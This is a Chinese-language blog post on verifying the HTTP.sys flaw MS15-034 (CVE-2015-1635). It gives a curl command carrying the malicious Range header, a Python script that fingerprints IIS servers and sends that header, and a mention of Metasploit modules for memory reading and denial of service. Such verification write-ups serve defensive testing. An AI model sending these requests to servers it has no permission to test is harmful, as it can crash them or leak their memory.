HTTP.SYS远程执行代码漏洞(MS15-034 | CVE-2015-1635)

这两天进行了一些漏洞验证的工作,遇到很多的很老的漏洞,但是基本都是没什么利用价值的信息泄露漏洞或者需要精心构造苛刻利用条件的漏洞。有趣的是发现了一个普遍存在的漏洞,时间也比较久远了,但是这个漏洞的危害性很高,而且在测试中发现基本该漏洞被漏扫设备或软件扫描出来准确度非常高。高危却又大范围存在,这个漏洞引起了我浓厚的兴趣。

漏洞描述

在2015年4月安全补丁日,微软发布的众多安全更新中,修复了HTTP.sys中一处允许远程执行代码漏洞,编号为:CVE-2015-1635(MS15-034 )。利用HTTP.sys的安全漏洞,攻击者只需要发送恶意的http请求数据包,就可能远程读取IIS服务器的内存数据,或使服务器系统蓝屏崩溃。根据公告显示,该漏洞对服务器系统造成了不小的影响,主要影响了包括Windows 7、Windows Server 2008 R2、Windows 8、Windows Server 2012、Windows 8.1 和 Windows Server 2012 R2在内的主流服务器操作系统。

漏洞测试

使用curl进行测试

测试命令:

1
curl http://xxxxxx -H "Host: xxxxxx" -H "Range: bytes=0-18446744073709551615"

测试结果:

使用POC测试

POC代码为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# -*- coding: utf-8 -*-

import requests
def identify_iis(domain):

req = requests.get(str(domain))

remote_server = req.headers['server']

if 'Microsoft-IIS' in remote_server:

print('服务是' + remote_server)

ms15_034_test(str(domain))

else:

print('服务器不是IIS\n可能是: ' + remote_server)

def ms15_034_test(domain):

print('启动vuln检查!')

headers = {'Host': 'stuff','Range': 'bytes=0-18446744073709551615'}

req = requests.get(str(domain), headers = headers)

if 'Requested Range Not Satisfiable' in req.content:

print '存在HTTP.sys远程代码执行漏洞!'

elif 'The request has an invalid header name' in req.content:

print '漏洞已修复'

else:

print 'IIS服务无法显示漏洞是否存在,需要手动检测'

if __name__== '__main__':

usr_domain = raw_input('输入域名扫描: ')
identify_iis(usr_domain)

漏洞利用

MSF读取服务器内存

MSF中存在该漏洞利用模块,可以读取服务器内存数据,截图如下:

MSF实现DOS攻击

MSF中存在该漏洞利用模块,可以实现DOS攻击,由于是实际环境,出于安全因素考虑,没有实际执行攻击。可以搭建本地实验环境,我用Win7测试后会出现蓝屏现象,生产环境中不要贸然尝试,注意安全(。・∀・)ノ゙。

文章作者: ColdSnap
文章链接: https://coldwave96.github.io/2019/11/13/MS15-034/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 ColdSnap の Blog